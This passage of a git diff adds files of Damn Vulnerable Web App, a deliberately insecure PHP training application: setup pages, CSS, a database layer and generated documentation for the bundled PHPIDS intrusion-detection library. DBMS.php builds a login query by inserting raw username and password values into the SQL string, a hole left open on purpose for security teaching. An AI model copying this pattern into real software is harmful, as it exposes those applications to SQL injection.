+ Unable to connect to the database.+ Click here to setup the database. +
'.$DBMS_errorFunc.'
+ Version ".dvwaVersionGet()." (Release date: ".dvwaReleaseDateGet().")
+
+ DVWA is a RandomStorm OpenSource project. All material is copyright 2008-2011 RandomStorm & Ryan Dewhurst.
+
Damn Vulnerable Web App (DVWA) is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version.
+ +The PHPIDS library is included, in good faith, with this DVWA distribution. The operation of PHPIDS is provided without support from the DVWA team. It is licensed under separate terms to the DVWA code.
+ +Everyone is welcome to contribute and help make DVWA as successful as it can be. All contributors can have their name and link (if they wish) placed in the credits section. To contribute pick an Issue from the Project Home to work on or submit a patch to the Issues list.
+ + + +"; + + +dvwaHtmlEcho( $page ); +exit; + +?> diff --git a/config/config.inc.php b/config/config.inc.php new file mode 100644 index 000000000..8689f3130 --- /dev/null +++ b/config/config.inc.php @@ -0,0 +1,35 @@ + diff --git a/docs/DVWA_v1.3.pdf b/docs/DVWA_v1.3.pdf new file mode 100644 index 000000000..fb3e95298 Binary files /dev/null and b/docs/DVWA_v1.3.pdf differ diff --git a/dvwa/css/help.css b/dvwa/css/help.css new file mode 100644 index 000000000..286618066 --- /dev/null +++ b/dvwa/css/help.css @@ -0,0 +1,22 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + + +div#container { +} + + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} diff --git a/dvwa/css/login.css b/dvwa/css/login.css new file mode 100644 index 000000000..e8d89ab2f --- /dev/null +++ b/dvwa/css/login.css @@ -0,0 +1,39 @@ +body { + background: #fefffe; + font: 12px/15px Arial, Helvetica, sans-serif; + line-height:20px; + color:#6b6b6b; +} + +label { + float: left; + text-align: right; + margin-right: 0.5em; + display: block; + overflow: hidden; + padding-right: 50px; + font-weight: bold; +} + +.loginInput{ + float: left; + color: #6B6B6B; + width: 320px; + background-color: #F4F4F4; + border: 1px; + border-style: solid; + border-color: #c4c4c4; + padding: 6px; + margin-bottom: 12px; +} + +fieldset { + width: 350px; + padding: 10px 20px 10px 20px; + overflow: hidden; + border-style:none; +} + +p { + font-size: 10px; +} diff --git a/dvwa/css/main.css b/dvwa/css/main.css new file mode 100644 index 000000000..ed65a1578 --- /dev/null +++ b/dvwa/css/main.css @@ -0,0 +1,283 @@ +body{ + margin:0; + color: #2f2f2f; + font: 12px/15px Arial, Helvetica, sans-serif; + min-width:981px; + height: 100%; + position:relative; +} + +body.home{ + background: #e7e7e7; +} + +div.clear { + clear: both; +} + +a { + color: #99cc33; + text-decoration: underline; + font-weight: bold; +} + +a img { + border: 0; +} + +a:hover { + text-decoration: none; +} + +input, textarea, select { + font: 100% arial,sans-serif; + vertical-align: middle; +} + +form,fieldset{ + margin: 0; + padding: 0; + border-style: none; +} + + +em { + font-weight: bold; + font-style: normal; +} + + +h1, h2, h3, h4, h5, h6 { + margin-top: 0px; +} + + +h1 { + font-size: 200%; +} + + +h2 { + font-size: 160%; +} + + +h3 { + font-size: 130%; +} + + +hr { + border-width: 0px; + color: #C3D9FF; + background-color: #C3D9FF; + height: 1px; +} + + +ul { + list-style-type: none; + padding-left: 0px; + margin-top: 0px; + margin-bottom: 0px; + margin-left: 0px; +} + + +ul + ul, ul + h1, ul + h2, ul + p { + margin-top: 20px; +} + + +.fixed { + font-family: Fixed, Courier, monospace; + font-size: 13px; +} + + +div.warning { + border: 2px solid #ff0000; + padding: 10px 20px 10px 20px; + color: #800000; + margin-top: 15px; + margin-bottom: 15px; +} + +div.warning h1 { + color: #ff0000; +} + +div.message { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; + width: 45%; +} + +div#container { + width: 900px; + height: 100%; + margin-left: auto; + margin-right: auto; + background:#f4f4f4; + font-size: 13px; +} + +div#header { + padding: 10px; + overflow:hidden; + background: #2f2f2f; + border-bottom: 5px solid #A1CC33; + text-align: center; +} + +div#system_info { + padding: 10px; + text-align: right; +} + + +div#main_body { + float:right; + width: 693px; + background: #f4f4f4; + padding-top: 20px; + padding-bottom: 10px; + font-size: 13px; +} + + +div.body_padded { + padding-left: 20px; + padding-right: 20px; +} + + +div#main_menu { + float: left; + width: 200px; + height: 100%; + background-color: #f4f4f4; + padding-top: 10px; + padding-bottom: 10px; +} + + +div#main_menu li { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px 3px 5px; + margin-bottom: 3px; + background-color: #bebebe; +} + + +div#main_menu li a { + color: #000000; + text-decoration: none; + text-decoration: none; +} + + +div#main_menu li.selected { + border-color: #758DAE #758DAE #758DAE #758DAE; + background-color: #99cc33; +} + + +div#main_menu li.selected a { + color: #F9F7ED; +} + + +div#main_menu li:hover { + border-color: #D2D4D4; +} + + +div#main_menu li:hover a { + color: #F9F7ED; +} + + +div#main_menu_padded { + padding: 15px; +} + + +div#footer { + color: #999999; + background: #2f2f2f; + padding: 10px; + text-align: center; + border-top: 5px solid #A1CC33; +} + + +input.popup_button { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px 3px 5px; + margin-bottom: 3px; + background-color: #C3C3C3; + float: right; +} + + +div.vulnerable_code_area { + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #000000; + padding: 10px 20px 10px 20px; + margin-bottom: 20px; +} + +div#guestbook_comments { + width: 45%; + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #C0C0C0; + padding: 5px 10px 5px 10px; + margin-bottom: 5px; +} + +div#idslog { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; +} + + +pre { + color: red; +} + + +div.submenu { + border-bottom: 1px solid #000000; + margin-bottom: 15px; + padding: 4px 0px 10px 0px; + font-size: 13px; +} + + +span.submenu_item { + padding: 0px 10px 0px 10px; +} + + +span.submenu_item + span.submenu_item { + border-left: 1px dashed #000000; + font-size: 13px; +} + + +span.selected { + font-weight: bold; +} diff --git a/dvwa/css/source.css b/dvwa/css/source.css new file mode 100644 index 000000000..286618066 --- /dev/null +++ b/dvwa/css/source.css @@ -0,0 +1,22 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + + +div#container { +} + + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} diff --git a/dvwa/images/RandomStorm.png b/dvwa/images/RandomStorm.png new file mode 100644 index 000000000..418e47935 Binary files /dev/null and b/dvwa/images/RandomStorm.png differ diff --git a/dvwa/images/dollar.png b/dvwa/images/dollar.png new file mode 100644 index 000000000..465e8d30e Binary files /dev/null and b/dvwa/images/dollar.png differ diff --git a/dvwa/images/lock.png b/dvwa/images/lock.png new file mode 100644 index 000000000..dd3bf5b36 Binary files /dev/null and b/dvwa/images/lock.png differ diff --git a/dvwa/images/login_logo.png b/dvwa/images/login_logo.png new file mode 100644 index 000000000..b24cb05ad Binary files /dev/null and b/dvwa/images/login_logo.png differ diff --git a/dvwa/images/logo.png b/dvwa/images/logo.png new file mode 100644 index 000000000..5f626f480 Binary files /dev/null and b/dvwa/images/logo.png differ diff --git a/dvwa/images/spanner.png b/dvwa/images/spanner.png new file mode 100644 index 000000000..c4f4868de Binary files /dev/null and b/dvwa/images/spanner.png differ diff --git a/dvwa/images/warning.png b/dvwa/images/warning.png new file mode 100644 index 000000000..4a2e87ace Binary files /dev/null and b/dvwa/images/warning.png differ diff --git a/dvwa/includes/DBMS/DBMS.php b/dvwa/includes/DBMS/DBMS.php new file mode 100644 index 000000000..442067f5e --- /dev/null +++ b/dvwa/includes/DBMS/DBMS.php @@ -0,0 +1,91 @@ +' . mysql_error() . '' ); + + if( $result && mysql_num_rows( $result ) == 1 ) { // Login Successful... + dvwaMessagePush( "You have logged in as '".$user."'" ); + dvwaLogin( $user ); + dvwaRedirect( 'index.php' ); + } + } +} +### END MySQL ### + +### PGSQL ### +elseif ($DBMS == 'PGSQL') { + $DBMS = htmlspecialchars(strip_tags($DBMS)); + $DBMS_errorFunc = @pg_last_error(); + + function escapeString( $var ) { + $var = pg_escape_string( $var ); + return $var; + } + + function db_login( $user,$pass ) { + $login = "SELECT * FROM users WHERE username='$user' AND password='$pass';"; + + $result = @pg_query( $login ) or die('' . pg_last_error() . ''); + + if($result && pg_num_rows( $result ) == 1) { // Login Successful... + dvwaMessagePush( "You have logged in as '".$user."'" ); + dvwaLogin( $user ); + dvwaRedirect( 'index.php' ); + } + } +} +### END PGSQL ### + +### INVALID DBMS ### +else { + $DBMS = "No DBMS selected."; + $DBMS_errorFunc = ''; +} +### END INVALID ### + +$DBMS_connError = ''; + +function dvwaDatabaseConnect() { + global $_DVWA; + global $DBMS; + global $DBMS_connError; + + if ($DBMS == 'MySQL') { + if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ] ) + || !@mysql_select_db( $_DVWA[ 'db_database' ] ) ) { + die( $DBMS_connError ); + } + } + + elseif ($DBMS == 'PGSQL') { + $dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) + or die( $DBMS_connError ); + } +} + +// -- END + +?> \ No newline at end of file diff --git a/dvwa/includes/DBMS/MySQL.php b/dvwa/includes/DBMS/MySQL.php new file mode 100644 index 000000000..7463fd23a --- /dev/null +++ b/dvwa/includes/DBMS/MySQL.php @@ -0,0 +1,86 @@ +SQL: ".mysql_error() ); + dvwaPageReload(); +} + +$create_db = "CREATE DATABASE " . $_DVWA[ 'db_database' ] . ";"; + +if( !@mysql_query ( $create_db ) ) { + dvwaMessagePush( "Could not create database
![\"Damn](\"".DVWA_WEB_PAGE_TO_ROOT."dvwa/images/logo.png\"){kind=logo}
+
+ Caching factory
+This class is used as a factory to load the correct concrete caching implementation.
+ ++ Located in /Caching/Factory.php (line 51) +
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +Database caching wrapper
+This class inhabits functionality to get and set cache via a database.
+ ++ Located in /Caching/Database.php (line 72) +
+ + + + +Returns an instance of this class
+ + +Constructor
+Connects to database.
+ + +Returns the cached data
+Note that this method returns false if either type or file cache is not set
+ + +Writes cache data into the database
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +File caching wrapper
+This class inhabits functionality to get and set cache via a static flatfile.
+ ++ Located in /Caching/File.php (line 52) +
+ + + + +Returns an instance of this class
+ + +Constructor
+ + +Returns the cached data
+Note that this method returns false if either type or file cache is not set
+ + +Writes cache data into the file
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+Caching wrapper interface
+ ++ Located in /Caching/Interface.php (line 48) +
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +File caching wrapper
+This class inhabits functionality to get and set cache via memcached.
+ ++ Located in /Caching/Memcached.php (line 52) +
+ + + + +Returns an instance of this class
+ + +Constructor
+ + +Returns the cached data
+Note that this method returns false if either type or file cache is not set
+ + +Writes cache data
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +File caching wrapper
+This class inhabits functionality to get and set cache via session.
+ ++ Located in /Caching/Session.php (line 52) +
+ + + + +Returns an instance of this class
+ + +Constructor
+ + +Returns the cached data
+Note that this method returns false if either type or file cache is not set
+ + +Writes cache data into the session
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by phpDocumentor 1.4.2 +
+PHPIDS specific utility class to convert charsets manually
+Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!
+ ++ Located in /Converter.php (line 51) +
+ + + + +Converts basic concatenations
+ + +Converts from hex/dec entities
+ + +Check for comments and erases them if available
+ + +Detects nullbytes and controls chars via ord()
+ + +Checks for common charcode pattern and decodes them
+ + +This method converts JS unicode code points to regular characters
+ + +This method matches and translates base64 strings and fragments used in data URIs
+ + +Strip newlines
+ + +Detects nullbytes and controls chars via ord()
+ + +This method collects and decodes proprietary encoding types
+ + + + +Converts SQLHEX to plain text
+ + +Converts basic SQL keywords and obfuscations
+ + +Converts relevant UTF-7 tags to UTF-8
+ + +Strip XML patterns
+ + +Eliminate JS regex modifiers
+ + +Normalize quotes
+ + +Runs all converter functions
+Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!
+ + +This method is the centrifuge prototype
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:41 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
PHPIDS event object
+This class represents a certain event that occured while applying the filters to the supplied data. It aggregates a bunch of IDS_Filter implementations and is a assembled in IDS_Report.
Note that this class implements both Countable and IteratorAggregate
+ ++ Located in /Event.php (line 53) +
+ + + + +List of filter objects
+Filter objects in this array are those that matched the events value
+ + + + + + +Calculated impact
+Total impact of the event
+ + + + + + +Event name
+ + + + + + +Affecte tags
+ + + + + + +Value of the event
+ + + + + + +Constructor
+Fills event properties
+ + +Returns number of filters
+To implement interface Countable this returns the number of filters appended.
+ + +Returns list of filter objects
+ + +Returns calculated impact
+ + +IteratorAggregate iterator getter
+Returns an iterator to iterate over the appended filters.
+ + +Returns event name
+The name of the event usually is the key of the variable that was considered to be malicious
+ + +Returns affected tags
+ + +Returns event value
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+PHPIDS Filter object
+Each object of this class serves as a container for a specific filter. The object provides methods to get information about this particular filter and also to match an arbitrary string against it.
+ ++ Located in /Filter.php (line 52) +
+ + + + +Filter description
+ + + + + + +Filter impact level
+ + + + + + +Filter rule
+ + + + + + +List of tags of the filter
+ + + + + + +Constructor
+ + +Returns filter description
+ + +Get filter ID
+ + +Get filter impact level
+ + +Returns filter rule
+ + +Return list of affected tags
+Each filter rule is concerned with a certain kind of attack vectors. This method returns those affected kinds.
+ + +Matches a string against current filter
+Matches given string against the filter rule the specific object of this class represents
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:45 +0100 by phpDocumentor 1.4.2 +
+Filter Storage
+This class provides various default functions for gathering filter patterns to be used later on by the detection mechanism. You might extend this class to your requirements.
+ ++ Located in /Filter/Storage.php (line 51) +
+ + + + +Cache container
+ + + + + + +Holds caching settings
+ + + + + + +Filter container
+ + + + + + +Filter source file
+ + + + + + +Constructor
+Loads filters based on provided IDS_Init settings.
+ + + + +Adds a filter
+ + + + +Loads filters from Json file using ext/Json
+This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.
+ + +Loads filters from XML using SimpleXML
+This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.
+ + +Returns registered filters
+ + +Sets the filter array
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by phpDocumentor 1.4.2 +
+Abstract Filter Storage
+Class to assure the systems API
+ ++ Located in /Filter/Storage/Abstract.php (line 31) +
+ + + + +| Class | +Description | +
|---|---|
| IDS_Filter_Storage | ++ Filter Storage Class + | +
Constructor
+ + + + +Adds one particular filter
+ + + + +Returns array containing all filters
+ + +Sets filter array manually
+ + ++ Documentation generated on Thu, 13 Sep 2007 22:36:58 +0200 by phpDocumentor 1.4.0 +
+Framework initiation
+This class is used for the purpose to initiate the framework and inhabits functionality to parse the needed configuration file.
+ ++ Located in /Init.php (line 51) +
+ + + + +Returns an instance of this class. Also a PHP version check is being performed to avoid compatibility problems with PHP < 5.1.6
+ + +This method checks if a base path is given and usage is set to true.
+If all that tests succeed the base path will be returned as a string - else null will be returned.
+ + +Returns the config array
+ + +Returns path to configuration file
+ + +Merges new settings into the exsiting ones or overwrites them
+ + +Sets the path to the configuration file
+ + +Merge config hashes recursivly
+The algorithm merges configuration arrays recursively. If an element is an array in both, the values will be appended. If it is a scalar in both, the value will be replaced.
+ + +Permitting to clone this object
+For the sake of correctness of a singleton pattern, this is necessary
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
+Log Composite
+This class implements the composite pattern to allow to work with multiple logging wrappers at once.
+ ++ Located in /Log/Composite.php (line 52) +
+ + + + +Registers a new logging wrapper
+Only valid IDS_Log_Interface instances passed to this function will be registered
+ + +Iterates through registered loggers and executes them
+ + + + +Removes a logger
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:40 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +Database logging wrapper
+The database wrapper is designed to store reports into an sql database. It implements the singleton pattern and is based in PDO, supporting different database types.
+ ++ Located in /Log/Database.php (line 75) +
+ + + + +Returns an instance of this class
+This method allows the passed argument to be either an instance of IDS_Init or an array.
+ + +Constructor
+Prepares the SQL statement
+ + +Stores given data into the database
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +Email logging wrapper
+The Email wrapper is designed to send reports via email. It implements the singleton pattern.
+ ++ Located in /Log/Email.php (line 52) +
+ + + + +Returns an instance of this class
+This method allows the passed argument to be either an instance of IDS_Init or an array.
+ + +Constructor
+ + +Sends the report to registered recipients
+ + + + +Detects spam attempts
+To avoid mail spam through this logging class this function is used to detect such attempts based on the alert frequency.
+ + +Prepares data
+Converts given data into a format that can be read in an email. You might edit this method to your requirements.
+ + +Sends an email
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:43 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
+ + +File logging wrapper
+The file wrapper is designed to store data into a flatfile. It implements the singleton pattern.
+ ++ Located in /Log/File.php (line 52) +
+ + + + +Returns an instance of this class
+This method allows the passed argument to be either an instance of IDS_Init or a path to a log file. Due to the singleton pattern only one instance for each file can be initiated.
+ + +Constructor
+ + +Stores given data into a file
+ + + + +Prepares data
+Converts given data into a format that can be stored into a file. You might edit this method to your requirements.
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+Interface for logging wrappers
+ ++ Located in /Log/Interface.php (line 47) +
+ + + + +Interface method
+ + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
+Monitoring engine
+This class represents the core of the frameworks attack detection mechanism and provides functions to scan incoming data for malicious appearing script fragments.
+ ++ Located in /Monitor.php (line 51) +
+ + + + +Constructor
+ + + + +Adds a value to the html array
+ + +Adds a value to the json array
+ + +Returns exception array
+ + +Returns html array
+ + +Returns json array
+ + +Returns report object providing various functions to work with detected results. Also the centrifuge data is being set as property of the report object.
+ + +Returns storage container
+ + +Starts the scan mechanism
+ + +Sets exception array
+ + +Sets html array
+ + +Sets json array
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by phpDocumentor 1.4.2 +
++ Implements interfaces: +
PHPIDS report object
+The report objects collects a number of events and thereby presents the detected results. It provides a convenient API to work with the results.
Note that this class implements Countable, IteratorAggregate and a __toString() method
+ ++ Located in /Report.php (line 53) +
+ + + + +Centrifuge data
+This variable - initiated as an empty array - carries all information about the centrifuge data if available
+ + + + + + +Event container
+ + + + + + +Impact level
+The impact level is calculated on demand by adding the results of the event objects on IDS_Report->getImpact()
+ + + + + + +List of affected tags
+This list of tags is collected from the collected event objects on demand when IDS_Report->getTags() is called
+ + + + + + +Constructor
+ + +Adds an IDS_Event object to the report
+ + + + +Clears calculated/collected values
+ + +Returns total amount of events
+ + +This method returns the centrifuge property or null if not filled with data
+ + +Get event by name
+In most cases an event is identified by the key of the variable that contained maliciously appearing content
+ + +Returns total impact
+Each stored IDS_Event object and its IDS_Filter sub-object are called to calculate the overall impact level of this request
+ + +Return iterator object
+In order to provide the possibility to directly iterate over the IDS_Event object the IteratorAggregate is implemented. One can easily use foreach() to iterate through all stored IDS_Event objects.
+ + +Returns list of affected tags
+ + +Checks if a specific event with given name exists
+ + +Checks if any events are registered
+ + +This method sets the centrifuge property
+ + +Directly outputs all available information
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:52 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching_Database + | ++ Database caching wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching + | ++ Caching factory + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching_File + | ++ File caching wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching_Interface + | ++ Caching wrapper interface + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching_Memcached + | ++ File caching wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Caching_Session + | ++ File caching wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Converter + | ++ PHPIDS specific utility class to convert charsets manually + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:41 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Event + | ++ PHPIDS event object + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+PHPIDS Requirements: PHP5, SimpleXML
+Copyright (c) 2007 PHPIDS group (http://php-ids.org)
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+ +| Class | +Description | +
|---|---|
| + IDS_Filter + | ++ PHPIDS Filter object + | +
+ Documentation generated on Mon, 24 Sep 2007 20:06:51 +0200 by phpDocumentor 1.4.0 +
+PHPIDS
